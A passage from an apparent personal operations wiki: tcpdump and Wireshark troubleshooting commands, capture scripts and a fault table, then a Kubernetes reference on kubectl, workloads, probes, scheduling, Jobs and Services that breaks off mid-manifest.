0' # Confirm the reply leaves the host tcpdump -ni eth0 -Q out -c 5 'tcp src port 8443' # All DNS queries as they happen, one line each tcpdump -ni eth0 -l port 53 2>/dev/null | grep -oP 'A+\? \K\S+' | uniq # DNS response codes as a running tally tcpdump -ni eth0 -l -q 'udp src port 53' 2>/dev/null | grep -oE 'NXDomain|ServFail|Refused' | uniq -c # HTTP request lines from plain-text traffic tcpdump -ni eth0 -l -A -s0 'tcp port 80' 2>/dev/null | grep -E '^(GET|POST|PUT|DELETE|HEAD|PATCH) |^Host: ' # SNI of every TLS connection leaving this host tshark -i eth0 -f 'tcp dst port 443' -Y 'tls.handshake.type == 1' -T fields -e ip.dst -e tls.handshake.extensions_server_name # Which TLS versions clients negotiate to your server tshark -r capture.pcap -Y 'tls.handshake.type == 2' -T fields -e tls.handshake.extensions.supported_version -e tls.handshake.version | sort | uniq -c # ARP: who has an IP (duplicate address hunting) tcpdump -ni eth0 -e 'arp and arp[6:2] == 2 and arp[24:4] == 0xc0000210' # replies for 192.0.2.16 (hex of the address) # DHCP conversations tcpdump -ni eth0 -v 'udp port 67 or udp port 68' # VRRP, HSRP, OSPF and other things a router is announcing tcpdump -ni eth0 -v 'ip proto 112 or udp port 1985 or ip proto 89' # VLAN tags present on a trunk port tcpdump -ni eth0 -e -c 100 vlan 2>/dev/null | grep -oE 'vlan [0-9]+' | sort | uniq -c # Packets with a low TTL (loop or traceroute) tcpdump -ni eth0 -v 'ip[8] < 3' # Fragmented IP packets (a sign of a broken MTU or DNS over UDP with large answers) tcpdump -ni eth0 'ip[6:2] & 0x3fff != 0' # Capture for 60 seconds into a file, then summarise timeout 60 tcpdump -ni eth0 -s0 -w /var/tmp/cap.pcap 'not port 22'; capinfos /var/tmp/cap.pcap; tshark -r /var/tmp/cap.pcap -q -z io,phs # Retransmission rate of a capture as a percentage t=$(tshark -r capture.pcap -Y tcp | wc -l); r=$(tshark -r capture.pcap -Y tcp.analysis.retransmission | wc -l); awk -v t="$t" -v r="$r" 'BEGIN {printf "%d/%d = %.2f%%\n", r, t, t ? 100 * r / t : 0}' # Longest TCP streams by duration, with bytes tshark -r capture.pcap -T fields -e tcp.stream -e frame.time_relative -e tcp.len | awk '{if (!($1 in s)) s[$1] = $2; e[$1] = $2; b[$1] += $3} END {for (k in s) printf "%.1fs %d bytes stream %s\n", e[k] - s[k], b[k], k}' | sort -rn | head # Handshake time (SYN to ACK) per connection tshark -r capture.pcap -Y 'tcp.flags.syn == 1 && tcp.flags.ack == 1' -T fields -e ip.src -e tcp.time_delta | sort -k2,2nr | head # HTTP response times over 1 s, with URL tshark -2 -r capture.pcap -Y 'http.time > 1' -T fields -e http.time -e http.response_for.uri | sort -rn | head # Extract files transferred over HTTP into a directory tshark -r capture.pcap --export-objects http,/var/tmp/http-objects -q # Strip payloads before sharing a capture editcap -s 96 capture.pcap headers-only.pcap # Anonymise addresses while keeping structure (tcprewrite is in tcpreplay) tcprewrite --seed=42 --infile=capture.pcap --outfile=anon.pcap # Replay a capture onto an interface (tcpreplay; sends packets) tcpreplay -i eth1 --mbps=10 capture.pcap # Watch kernel drop counters while capturing to know if the capture itself is lossy watch -n1 'cat /proc/net/softnet_stat | awk "{d += strtonum(\"0x\" \$2)} END {print \"softnet drops:\", d}"' # Check whether offloads are inflating packet sizes in captures ethtool -k eth0 | grep -E 'segmentation-offload|receive-offload' # Run tcpdump without root by granting the binary capabilities (persistent until the package updates) setcap cap_net_raw,cap_net_admin=eip "$(command -v tcpdump)" ``` ## Scripts Ring-buffer capture as a systemd service for intermittent faults: keeps the last N files on disk, runs as the `tcpdump` user, and is stopped with `systemctl stop` when the fault has been reproduced. Install the unit, then `systemctl start capture@eth0`. ```ini # /etc/systemd/system/capture@.service [Unit] Description=Ring-buffer packet capture on %i After=network-online.target [Service] Type=simple ExecStartPre=/usr/bin/mkdir -p /var/tmp/capture ExecStartPre=/usr/bin/chown tcpdump:tcpdump /var/tmp/capture ExecStart=/usr/sbin/tcpdump -ni %i -s0 -Z tcpdump -w /var/tmp/capture/%i.pcap -C 200 -W 20 not port 22 Restart=on-failure Nice=10 IOSchedulingClass=idle [Install] WantedBy=multi-user.target ``` Health check for a TCP service from the packet level: sends one connection attempt while capturing, then reports whether the SYN left, whether a SYN-ACK or RST came back, and the handshake time. Useful when `curl` just says "timed out" and you need to know which side is silent. ```sh #!/usr/bin/env bash # usage: syn-check.sh HOST PORT [IFACE] set -euo pipefail host=${1:?host} port=${2:?port} iface=${3:-$(ip -o route get "$1" | grep -oP 'dev \K\S+')} pcap=$(mktemp --suffix=.pcap); trap 'rm -f -- "$pcap"' EXIT tcpdump -ni "$iface" -s 96 -w "$pcap" "host $host and tcp port $port" 2>/dev/null & tp=$!; sleep 0.5 timeout 5 bash -c "exec 3<>/dev/tcp/$host/$port" 2>/dev/null && result=connected || result="failed (rc=$?)" sleep 0.5; kill "$tp"; wait "$tp" 2>/dev/null || true syn=$(tcpdump -nr "$pcap" "dst host $host and tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn" 2>/dev/null | wc -l) synack=$(tcpdump -nr "$pcap" "src host $host and tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)" 2>/dev/null | wc -l) rst=$(tcpdump -nr "$pcap" "src host $host and tcp[tcpflags] & tcp-rst != 0" 2>/dev/null | wc -l) hs=$(tshark -r "$pcap" -Y 'tcp.flags.syn == 1 && tcp.flags.ack == 1' -T fields -e tcp.time_delta 2>/dev/null | head -1) printf '%s:%s via %s: %s\n' "$host" "$port" "$iface" "$result" printf ' SYN sent: %s SYN-ACK received: %s RST received: %s handshake: %s s\n' "$syn" "$synack" "$rst" "${hs:-n/a}" case "$syn:$synack:$rst" in 0:*) echo ' no SYN left this host: local routing, firewall output chain, or wrong interface' ;; *:0:0) echo ' SYN left, nothing came back: remote or path filtering, or the reply is routed elsewhere' ;; *:0:[1-9]*) echo ' RST received: port closed on the remote host, or a firewall rejecting with tcp-reset' ;; esac ``` Capture summariser for a directory of rotated files: prints per file the time span, packet count, retransmission count and the top talkers, so the file containing the fault can be found without opening each in Wireshark. ```sh #!/usr/bin/env bash # usage: pcap-summary.sh /var/tmp/capture set -euo pipefail dir=${1:?directory of pcap files} for f in "$dir"/*.pcap*; do [[ -f $f ]] || continue span=$(capinfos -a -e -T -m -r "$f" 2>/dev/null | awk -F'\t' 'NR == 1 {print $2, "->", $3}') pkts=$(capinfos -c -T -m -r "$f" 2>/dev/null | awk -F'\t' 'NR == 1 {print $2}') retx=$(tshark -r "$f" -Y 'tcp.analysis.retransmission' 2>/dev/null | wc -l) rst=$(tshark -r "$f" -Y 'tcp.flags.reset == 1' 2>/dev/null | wc -l) top=$(tshark -r "$f" -q -z endpoints,ip 2>/dev/null | awk 'NR > 5 && NF >= 3 {print $1, $3}' | sort -k2,2nr | head -3 | tr '\n' ';') printf '%s\n %s packets=%s retx=%s rst=%s\n top: %s\n' "$(basename "$f")" "$span" "$pkts" "$retx" "$rst" "$top" done ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `tcpdump: eth0: You don't have permission to capture on that device` | Not root, no `CAP_NET_RAW` | `sudo`, or `setcap cap_net_raw,cap_net_admin=eip $(command -v tcpdump)` | | `-w` fails with `Permission denied` as root | tcpdump dropped to the `tcpdump` user (`-Z`) and the directory is not writable by it | Write to `/var/tmp`, `chown tcpdump` the directory, or `-Z root` | | Nothing captured but traffic exists | Wrong interface, or the filter uses a name that resolved to another address, or traffic is in another namespace | `tcpdump -D`, `ip -br addr`, `-i any`, `nsenter -n` into the container | | `packets dropped by kernel` is large | Terminal output too slow or buffer too small | `-w file`, tighter filter, `-B 65536`, `-s 128` | | Captured packets are 64 KiB | Segmentation offload on the capture host | `ethtool -K eth0 tso off gso off gro off` (affects performance; revert afterwards) | | Wireshark shows `[Checksum incorrect]` on every outgoing packet | Checksum offload; the NIC fills it in after capture | Disable checksum validation in TCP and IP preferences | | Filter error `syntax error in filter expression` | Shell ate the parentheses or `&`, or a keyword used as a hostname | Single-quote the whole filter; use addresses | | `ip6 upper-layer protocol is not supported by proto[x]` | `tcp[...]` byte offsets need IPv4 | Capture `ip6 and tcp` and filter in Wireshark or tshark | | `tcpdump -w -` over SSH shows nothing until Ctrl-C | Output buffered | Add `-U`, and `--immediate-mode` for low rates | | SSH remote capture pcap is corrupt | `sudo` password prompt or a shell banner went into the stream | `NOPASSWD` for tcpdump, `ssh -T`, and a shell with no login output | | Wireshark says `Malformed Packet` on a known-good protocol | Truncated snaplen, non-standard port not decoded, or a middlebox | `-s0`, `Decode As`, check `frame.cap_len < frame.len` | | Only one direction of traffic appears | Asymmetric routing, or capturing on a bridge where the other direction is hardware-switched | Capture on the tap or the host, or on both ends and `mergecap` | | Wireshark cannot open a 5 GB file | Memory; Wireshark loads the whole file | `editcap -c` or `-A/-B` to slice, or `tshark` for statistics | | No TLS decryption despite a key log | Key log written after the session, wrong file, or TLS 1.3 with a client that does not write `CLIENT_TRAFFIC_SECRET_0` lines | Check the file has entries for the session's client random; restart the client with `SSLKEYLOGFILE` set before it connects | | `tshark: -z ... is not a valid statistic` | Wrong name or missing `-q` prerequisites | `tshark -z help` | | Time on the two captures does not line up | Clock skew between hosts | `editcap -t ` on one file before `mergecap`; sync with chrony | | Many `TCP Spurious Retransmission` in Wireshark | ACKs delayed or the capture point is behind a proxy that ACKs early | Look at `tcp.analysis.ack_rtt` and where the capture was taken | ## Further reading - [tcpdump(1)](https://www.tcpdump.org/manpages/tcpdump.1.html): every option, the output format for each protocol and the exit status. - [pcap-filter(7)](https://www.tcpdump.org/manpages/pcap-filter.7.html): the complete capture filter grammar and the header byte expression syntax. - [Wireshark User's Guide](https://www.wireshark.org/docs/wsug_html_chunked/): capturing, display filters, statistics, follow streams and preferences. - [Wireshark display filter reference](https://www.wireshark.org/docs/dfref/): every field name by protocol. - [tshark(1)](https://www.wireshark.org/docs/man-pages/tshark.html), [editcap(1)](https://www.wireshark.org/docs/man-pages/editcap.html), [mergecap(1)](https://www.wireshark.org/docs/man-pages/mergecap.html), [capinfos(1)](https://www.wireshark.org/docs/man-pages/capinfos.html): the command-line tools and the `-z` statistics list. - [Wireshark wiki: TLS](https://wiki.wireshark.org/TLS): key log decryption, supported cipher suites and preferences. --- # Kubernetes > Inspect workloads with kubectl, understand the object model behind them and find why a pod is not running, ready or reachable. Canonical: https://www.wiki.jodisand.me/kubernetes/ Reviewed: 2026-09-24 Related: [Helm](https://www.wiki.jodisand.me/helm/index.md), [Argo CD](https://www.wiki.jodisand.me/argocd/index.md), [Cilium](https://www.wiki.jodisand.me/cilium/index.md), [Gateway API](https://www.wiki.jodisand.me/gateway-api/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md) ## Cheatsheet Commands assume `kubectl` 1.34 or later against a supported cluster. `kubectl top` needs metrics-server installed. | Task | Command | | --- | --- | | Which cluster am I on | `kubectl config current-context` | | Workloads in a namespace | `kubectl get all -n my-namespace` | | Why is this pod unhappy | `kubectl describe pod my-pod -n my-namespace` | | Events for one object | `kubectl events --for pod/my-pod -n my-namespace` | | Events, newest last | `kubectl get events -n my-namespace --sort-by=.lastTimestamp` | | Logs of the crashed container | `kubectl logs my-pod -c app --previous -n my-namespace` | | Shell in a running pod | `kubectl exec -it my-pod -n my-namespace -- sh` | | Debug a distroless pod | `kubectl debug -it my-pod --image=nicolaka/netshoot --target=app` | | Port-forward a Service | `kubectl port-forward svc/my-app 8080:80 -n my-namespace` | | Restart a Deployment | `kubectl rollout restart deploy/my-app -n my-namespace` | | Watch a rollout | `kubectl rollout status deploy/my-app -n my-namespace` | | Roll back | `kubectl rollout undo deploy/my-app -n my-namespace` | | Scale | `kubectl scale deploy/my-app --replicas=5 -n my-namespace` | | Resource usage | `kubectl top pod -n my-namespace --sort-by=memory` | | Can I do this | `kubectl auth can-i delete pods -n my-namespace` | | Validate against the live API | `kubectl apply -f my-app.yaml --dry-run=server` | | Show what apply would change | `kubectl diff -f my-app.yaml` | | Object as stored | `kubectl get pod my-pod -o yaml` | ## Start with a failing workload Confirm the context first, then read the pod's state and its events. `describe` merges the object status with the events the scheduler and kubelet recorded, which is where the actual reason lives. Events expire after one hour by default, so check them early. ```sh kubectl config current-context kubectl get pods -n my-namespace -o wide kubectl describe pod my-pod -n my-namespace | sed -n '/Events:/,$p' kubectl logs my-pod -n my-namespace -c app --previous --tail 100 ``` | Pod state | What it means | Next command | | --- | --- | --- | | `Pending` | No node fits: requests, taints, affinity, or an unbound PVC | `kubectl describe pod` and read the `FailedScheduling` event | | `ContainerCreating` | Image pull, volume mount or CNI setup still in progress or failing | `kubectl describe pod`, then kubelet logs on the node | | `ImagePullBackOff` / `ErrImagePull` | Wrong name or tag, private registry, missing `imagePullSecrets` | `kubectl events --for pod/my-pod`, `kubectl get sa default -o yaml` | | `CrashLoopBackOff` | The process keeps exiting; restarts back off 10s, 20s, 40s up to 5 minutes | `kubectl logs --previous` | | `CreateContainerConfigError` | A referenced ConfigMap, Secret or key does not exist | `kubectl describe pod`, then `kubectl get cm,secret` | | `Running`, not `Ready` | Readiness probe failing | `kubectl describe pod`, check probe path and port | | `OOMKilled` (exit 137) | Container memory exceeded `limits.memory` | `kubectl top pod`, raise the limit or fix the leak | | `Terminating` forever | Finalizer not cleared, or the node is unreachable so the kubelet never confirms | `kubectl get pod my-pod -o jsonpath='{.metadata.finalizers}'`, `kubectl get node` | | `Evicted` | Node pressure (memory, disk, PIDs) reclaimed it | `kubectl describe node`, read the conditions | The crash backoff resets after the container runs for 10 minutes without failing. See [pod lifecycle](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/) for the feature gates that shorten it. > [!WARNING] Changes in a GitOps-managed cluster > A reconciler such as [Argo CD](https://www.wiki.jodisand.me/argocd/) reverts a manual edit. Use direct commands for diagnosis only and apply lasting fixes through the repository that owns the resource. ## How the control plane reconciles state The API server is the only component that writes to etcd. Controllers, the scheduler and kubelets watch the API for desired state and act until reality matches. Every fix is therefore "change the desired state and wait", never "make the change on the node". | Component | Job | | --- | --- | | `kube-apiserver` | Authenticates, runs admission, validates and stores objects; the single write path | | `etcd` | Consistent key-value store holding cluster state | | `kube-scheduler` | Binds a pending pod to a node that satisfies its requests and constraints | | `kube-controller-manager` | Reconciliation loops for Deployments, ReplicaSets, Jobs, nodes and EndpointSlices | | `kubelet` | Runs the containers for pods bound to its node and reports status | | `kube-proxy` or a CNI replacement | Programs Service load balancing on each node ([Cilium](https://www.wiki.jodisand.me/cilium/#kube-proxy-replacement) can replace it) | A Deployment owns a ReplicaSet, which owns Pods. Changing the pod template creates a new ReplicaSet and scales the old one down. That indirection is why `kubectl rollout undo` works, and why deleting a pod with a bad image only brings back another pod with the same bad image. ## kubectl contexts, queries and applies ```sh kubectl config get-contexts kubectl config use-context prod kubectl config set-context --current --namespace=my-namespace # default namespace for this context kubectl get deploy,sts,ds,job -A # workloads in every namespace kubectl get pods -A -o wide --field-selector status.phase!=Running kubectl get pod my-pod -o jsonpath='{.spec.containers[*].image}{"\n"}' kubectl explain deployment.spec.strategy --recursive # schema served by this cluster kubectl api-resources --namespaced=true # kinds this cluster serves kubectl diff -f manifest.yaml # what applying would change, exit 1 if different kubectl apply -f manifest.yaml --server-side # server tracks field ownership per manager ``` `kubectl get -o yaml` returns the object after defaulting and admission, not what you submitted. Client-side apply records what you sent in the `kubectl.kubernetes.io/last-applied-configuration` annotation. Server-side apply records ownership in `metadata.managedFields` instead, and reports a conflict when another manager owns a field you try to set. Add `--force-conflicts` only when you intend to take that field over. ## Workloads and rollouts ```yaml apiVersion: apps/v1 kind: Deployment metadata: name: my-app spec: replicas: 3 revisionHistoryLimit: 5 strategy: type: RollingUpdate rollingUpdate: { maxSurge: 1, maxUnavailable: 0 } selector: matchLabels: { app: my-app } # immutable after creation template: metadata: labels: { app: my-app } spec: terminationGracePeriodSeconds: 45 securityContext: runAsNonRoot: true seccompProfile: { type: RuntimeDefault } containers: - name: app image: registry.example.com/my-app@sha256: # digest, not a moving tag ports: [{ containerPort: 8080 }] resources: requests: { cpu: 100m, memory: 256Mi } # what the scheduler reserves limits: { memory: 512Mi } # what the kernel enforces readinessProbe: httpGet: { path: /readyz, port: 8080 } periodSeconds: 5 livenessProbe: httpGet: { path: /healthz, port: 8080 } initialDelaySeconds: 20 securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: { drop: ["ALL"] } ``` Requests drive scheduling and CPU weight. Limits drive throttling and OOM kills. A CPU limit throttles rather than kills, which shows up as latency, not restarts, so many teams set memory limits and leave CPU limits off. Readiness removes a pod from Service endpoints. Liveness restarts the container. Pointing liveness at an endpoint that checks a database turns a database blip into restarts across every replica. Use a `startupProbe` for slow starters instead of a long `initialDelaySeconds`. ```sh kubectl rollout status deploy/my-app -n my-namespace --timeout=5m kubectl rollout history deploy/my-app -n my-namespace kubectl rollout undo deploy/my-app --to-revision=3 -n my-namespace kubectl rollout restart deploy/my-app -n my-namespace # new pods, same spec: picks up rotated Secrets in env vars kubectl scale deploy/my-app --replicas=0 -n my-namespace # stops every pod; the Deployment remains ``` | Kind | Use it for | | --- | --- | | `Deployment` | Stateless replicas, rolling updates, rollback | | `StatefulSet` | Stable network identity and per-replica storage; ordered, slower updates | | `DaemonSet` | One pod per node: node agents, CNI, log shippers | | `Job` / `CronJob` | Run to completion, bounded by `backoffLimit` and `activeDeadlineSeconds` | Native sidecars are init containers with `restartPolicy: Always`. They start before the app containers and stop after them, which fixes Jobs that never complete because a proxy sidecar keeps running. They are stable since v1.33. A StatefulSet's PVCs survive deletion of the StatefulSet by default. Removing them is a separate `kubectl delete pvc`, which destroys the data when the reclaim policy is `Delete`. ## Probes and graceful shutdown Probe defaults are `initialDelaySeconds: 0`, `periodSeconds: 10`, `timeoutSeconds: 1`, `failureThreshold: 3` and `successThreshold: 1`. A startup probe suspends the other two until it succeeds once, so `failureThreshold * periodSeconds` is the longest start you permit, and liveness and readiness then run with short thresholds of their own. The one-second timeout is the usual surprise: a handler that takes 1.5 s under load counts as a failure. This extends the probe rules in [Workloads and rollouts](#workloads-and-rollouts). ```yaml startupProbe: httpGet: { path: /healthz, port: 8080 } periodSeconds: 5 failureThreshold: 60 # up to 5 minutes to start; liveness and readiness wait readinessProbe: httpGet: { path: /readyz, port: 8080 } periodSeconds: 5 timeoutSeconds: 2 failureThreshold: 2 # out of the endpoints after 10 s of failures livenessProbe: grpc: { port: 9090 } # gRPC health protocol; kubelet speaks it natively periodSeconds: 20 timeoutSeconds: 5 lifecycle: preStop: sleep: { seconds: 5 } # stable in v1.34; keeps serving while endpoint removal propagates ``` Deleting a pod starts two things in parallel: the kubelet begins the local shutdown, and the EndpointSlice controller marks the endpoint `terminating` with `ready: false`, which kube-proxy and external load balancers act on after their own delay. The kubelet runs the `preStop` hook to completion, then has the runtime send `SIGTERM` to PID 1 of each container, and when `terminationGracePeriodSeconds` (default 30, counted from the start of the hook) expires it sends `SIGKILL`. Hook and shutdown share that one budget: a 25 s hook plus a 10 s shutdown under a 30 s grace period ends in `SIGKILL`. A short `preStop` sleep covers the propagation gap so requests are not routed to a container that has already stopped listening. Containers receive `SIGTERM` in arbitrary order unless the helper is a native sidecar, which stops after the main containers. ```sh kubectl exec my-pod -n my-namespace -- cat /proc/1/cmdline | tr '\0' ' ' # what PID 1 is; sh -c 'app' does not forward SIGTERM kubectl get pod my-pod -n my-namespace -o jsonpath='{.metadata.deletionTimestamp} {.metadata.deletionGracePeriodSeconds}{"\n"}' ``` ## Resource requests, limits and QoS classes The API server derives a QoS class from the containers' requests and limits, and the kubelet evicts in reverse order of that class under node pressure. `Guaranteed` requires every container to set CPU and memory limits equal to its requests, `Burstable` is any pod with at least one request or limit, and `BestEffort` has none. `Guaranteed` pods are the only ones the static CPU manager policy can pin to exclusive cores. The Deployment in [Workloads and rollouts](#workloads-and-rollouts) is `Burstable`, which is the normal choice for services. ```sh kubectl get pods -n my-namespace -o custom-columns='POD:.metadata.name,QOS:.status.qosClass,NODE:.spec.nodeName' kubectl set resources deploy/my-app -n my-namespace -c app --requests=cpu=100m,memory=256Mi --limits=memory=512Mi # changes the template: rollout kubectl describe quota -n my-namespace # ResourceQuota usage; a full quota rejects new pods at admission kubectl get limitrange -n my-namespace -o yaml # defaults injected into containers that set nothing ``` A `LimitRange` with `default` and `defaultRequest` stops `BestEffort` pods appearing in a namespace, and a `ResourceQuota` on `requests.cpu` makes any pod without that request fail admission with `must specify requests.cpu`. Memory requests set the container's OOM score adjustment, so a container far above its request is killed first when the node runs out, before it reaches its own limit. ## PodDisruptionBudgets A PDB limits voluntary disruptions: `kubectl drain`, the eviction API, cluster autoscaler scale-down and managed node upgrades. It does nothing for crashes, OOM kills or hardware failure. `minAvailable` and `maxUnavailable` take a count or a percentage, only one may be set, and `maxUnavailable` requires that every selected pod share one controller. `minAvailable` equal to the replica count blocks every drain forever, which is the most common way to stall a node upgrade. ```yaml apiVersion: policy/v1 kind: PodDisruptionBudget metadata: { name: my-app, namespace: my-namespace } spec: maxUnavailable: 1 # or "25%"; percentages round up unhealthyPodEvictionPolicy: AlwaysAllow # stable in v1.31: pods that are not Ready may always be evicted selector: matchLabels: { app: my-app } ``` The default `IfHealthyBudget` refuses to evict a crash-looping pod while the budget is unmet, so a broken deployment blocks a drain; `AlwaysAllow` is the right setting for almost every service. Check what a drain will run into before starting it: ```sh kubectl get pdb -A # ALLOWED DISRUPTIONS 0 means drain waits kubectl get pdb my-app -n my-namespace -o jsonpath='{.status.disruptionsAllowed}{"\n"}' kubectl drain node-1 --ignore-daemonsets --delete-emptydir-data --dry-run=server # lists the pods it would evict ``` ## Horizontal Pod Autoscaler An `autoscaling/v2` HPA sets `replicas` through the target's scale subresource from `ceil(currentReplicas * currentMetric / targetMetric)`, evaluated every 15 s and ignored when the ratio is within 10% of 1. `Utilization` targets are percentages of the container requests, so a pod whose container has no request for that metric is skipped and the HPA reports `FailedGetResourceMetric`. Remove `replicas` from the Deployment manifest once an HPA owns it: every apply resets the count and the HPA scales it back, which shows up as a rollout on each GitOps sync. ```yaml apiVersion: autoscaling/v2 kind: HorizontalPodAutoscaler metadata: { name: my-app, namespace: my-namespace } spec: scaleTargetRef: { apiVersion: apps/v1, kind: Deployment, name: my-app } minReplicas: 2 maxReplicas: 20 metrics: - type: ContainerResource # one container, not the pod total: ignores the sidecar containerResource: name: cpu container: app target: { type: Utilization, averageUtilization: 70 } - type: Resource resource: name: memory target: { type: AverageValue, averageValue: 400Mi } behavior: scaleUp: stabilizationWindowSeconds: 0 # act on the latest recommendation immediately policies: - { type: Percent, value: 100, periodSeconds: 15 } # the default: double, or add 4 pods, per 15 s scaleDown: stabilizationWindowSeconds: 300 # the default: use the highest recommendation of the last 5 minutes policies: - { type: Pods, value: 2, periodSeconds: 60 } selectPolicy: Min # Max (default), Min, or Disabled to never scale down ``` ```sh kubectl autoscale deploy/my-app -n my-namespace --min=2 --max=10 --cpu=70% # --cpu and --memory take a percentage or a quantity such as 500m kubectl get hpa -n my-namespace # TARGETS shows until metrics arrive kubectl describe hpa my-app -n my-namespace | sed -n '/Conditions:/,$p' # ScalingActive False says why nothing happens ``` With several metrics the HPA takes the largest desired replica count. Memory rarely drops when load does because most runtimes keep freed heap, so a memory target mostly scales up. ## Node affinity, taints and topology spread The scheduler filters out nodes that fail hard constraints, then scores the rest. `nodeSelector` and `requiredDuringSchedulingIgnoredDuringExecution` filter; `preferredDuringSchedulingIgnoredDuringExecution` adds a weighted score. `IgnoredDuringExecution` means a running pod stays put when node labels change. Taints are the reverse: a node repels pods that do not tolerate the taint. `NoSchedule` affects new pods, `PreferNoSchedule` is the soft form, and `NoExecute` also evicts running pods after `tolerationSeconds`. The control plane taints unhealthy nodes with `node.kubernetes.io/not-ready` and `node.kubernetes.io/unreachable` as `NoExecute`, and every pod gets a default 300 s toleration for both, which is the five-minute wait before pods on a dead node are replaced. ```sh kubectl label nodes node-1 workload=batch # for selectors and affinity kubectl taint nodes node-1 dedicated=batch:NoSchedule # repel pods without the toleration kubectl taint nodes node-1 dedicated=batch:NoSchedule- # trailing dash removes it kubectl cordon node-1 # adds node.kubernetes.io/unschedulable:NoSchedule; running pods stay kubectl get nodes -o custom-columns='NODE:.metadata.name,TAINTS:.spec.taints[*].key,ZONE:.metadata.labels.topology\.kubernetes\.io/zone' ``` ```yaml spec: tolerations: - { key: dedicated, operator: Equal, value: batch, effect: NoSchedule } - key: node.kubernetes.io/unreachable operator: Exists effect: NoExecute tolerationSeconds: 60 # replace this pod after 1 minute instead of 5 affinity: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: # terms are ORed; expressions within a term are ANDed - matchExpressions: - { key: kubernetes.io/arch, operator: In, values: [amd64, arm64] } - { key: node.kubernetes.io/instance-type, operator: NotIn, values: [t3.micro] } preferredDuringSchedulingIgnoredDuringExecution: - weight: 80 preference: matchExpressions: [{ key: workload, operator: In, values: [batch] }] topologySpreadConstraints: - maxSkew: 1 topologyKey: topology.kubernetes.io/zone whenUnsatisfiable: DoNotSchedule # hard; ScheduleAnyway only affects scoring labelSelector: { matchLabels: { app: my-app } } minDomains: 3 # zones with no matching pod count as domains (stable in v1.30) - maxSkew: 1 topologyKey: kubernetes.io/hostname whenUnsatisfiable: ScheduleAnyway labelSelector: { matchLabels: { app: my-app } } matchLabelKeys: [pod-template-hash] # count only this ReplicaSet, so a rollout ignores old pods (beta since v1.27) ``` Topology spread replaces `podAntiAffinity` for "one replica per zone or node" and scales better, because anti-affinity is evaluated against every pod in the cluster. A hard spread with `maxSkew: 1` and a zone that has no schedulable capacity leaves pods `Pending` with `didn't match pod topology spread constraints`; `nodeTaintsPolicy: Honor` and `nodeAffinityPolicy: Honor` (both beta since v1.26) make the scheduler exclude such nodes from the skew calculation. ## Jobs and CronJobs A Job runs pods until `completions` succeed (default 1), `parallelism` at a time, and fails after `backoffLimit` failed pods (default 6) or `activeDeadlineSeconds`, whichever comes first. The pod's `restartPolicy` must be `Never` or `OnFailure`; with `OnFailure` the retries hide inside one pod's `restartCount`, so `Never` gives a clearer failure history. `ttlSecondsAfterFinished` deletes the Job and its pods after it finishes; without it, finished Jobs and their logs accumulate. ```yaml apiVersion: batch/v1 kind: Job metadata: { name: migrate, namespace: my-namespace } spec: backoffLimit: 3 activeDeadlineSeconds: 900 # kill everything 15 minutes after the Job starts ttlSecondsAfterFinished: 86400 # delete the Job and its pods a day after it finishes podFailurePolicy: # stable in v1.31 rules: - action: FailJob # do not retry a configuration error onExitCodes: { containerName: migrate, operator: In, values: [2] } - action: Ignore # preemption or a drain does not count against backoffLimit onPodConditions: [{ type: DisruptionTarget }] template: spec: restartPolicy: Never containers: - name: migrate image: registry.example.com/my-app@sha256: args: [migrate, --to, latest] ``` ```yaml apiVersion: batch/v1 kind: CronJob metadata: { name: report, namespace: my-namespace } spec: schedule: "15 2 * * *" timeZone: Australia/Melbourne # stable in v1.27; unset means the controller-manager's zone concurrencyPolicy: Forbid # skip the run if the previous Job is still active; Replace kills it startingDeadlineSeconds: 600 # give up on a run that could not start within 10 minutes successfulJobsHistoryLimit: 3 failedJobsHistoryLimit: 3 # default 1 hides the failure you are looking for jobTemplate: spec: backoffLimit: 2 template: spec: restartPolicy: OnFailure containers: - name: report image: registry.example.com/report@sha256: ``` `backoffLimitPerIndex` and `successPolicy` (both stable in v1.33) need `completionMode: Indexed`. The controller checks schedules every 10 s. A CronJob that misses more than 100 start times, typically after a long `suspend` or controller outage, stops scheduling and logs `Too many missed start time (> 100)`; setting `startingDeadlineSeconds` bounds the window it counts over and is the fix. ```sh kubectl create job report-now --from=cronjob/report -n my-namespace # run the template immediately kubectl get jobs -n my-namespace -o wide # COMPLETIONS and DURATION per run kubectl logs job/report-now -n my-namespace --all-containers # logs of the Job's pod kubectl patch cronjob report -n my-namespace -p '{"spec":{"suspend":true}}' # pause; a running Job continues kubectl delete jobs -n my-namespace --field-selector status.successful=1 # remove finished Jobs and their pods ``` ## Services and networking A Service is a stable virtual IP plus a label selector. The EndpointSlice controller keeps a list of the selected pods' IPs and readiness, and kube-proxy (or a replacement such as Cilium) programs the dataplane from it. No ready pods means no endpoints, which usually presents as connection refused or a timeout rather than an error message. The older `Endpoints` API is deprecated since v1.33; read EndpointSlices. ```sh kubectl get svc,endpointslice -n my-namespace kubectl get endpointslice -l kubernetes.io/service-name=my-app -n my-namespace -o yaml | grep -A3 addresses kubectl run tmp --rm -it --image=nicolaka/netshoot -n my-namespace -- sh # curl, dig, tcpdump in-cluster; pod deleted on exit kubectl port-forward svc/my-app 8080:80 -n my-namespace ``` | Type | Behaviour | | --- | --- | | `ClusterIP` | In-cluster virtual IP; the default | | `NodePort` | ClusterIP plus a port (30000-32767 by default) on every node | | `LoadBalancer` | NodePort plus an external load balancer provisioned by a controller | | `ExternalName` | DNS CNAME only, no proxying | | Headless (`clusterIP: None`) | DNS returns pod IPs directly; how StatefulSet members are addressed | DNS names follow `..svc.cluster.local`. Inside a pod, `my-app` resolves through the `search` domains in `/etc/resolv.conf`. Across namespaces, `my-app.other-namespace` is the shortest reliable form. The default `ndots:5` makes external names try every search domain first; see [DNS](https://www.wiki.jodisand.me/dns/) for the effect. For HTTP routing into the cluster, use [Gateway API](https://www.wiki.jodisand.me/gateway-api/). NetworkPolicies are allow-lists. A pod selected by no policy for a direction allows all traffic in that direction. Once any policy selects it for ingress or egress, everything in that direction not explicitly allowed is denied. When both the client's egress and the server's ingress are isolated, both sides must allow the flow. Enforcement depends on the CNI; a CNI without policy support accepts the objects and ignores them. ```yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: { name: my-app-allow } spec: podSelector: { 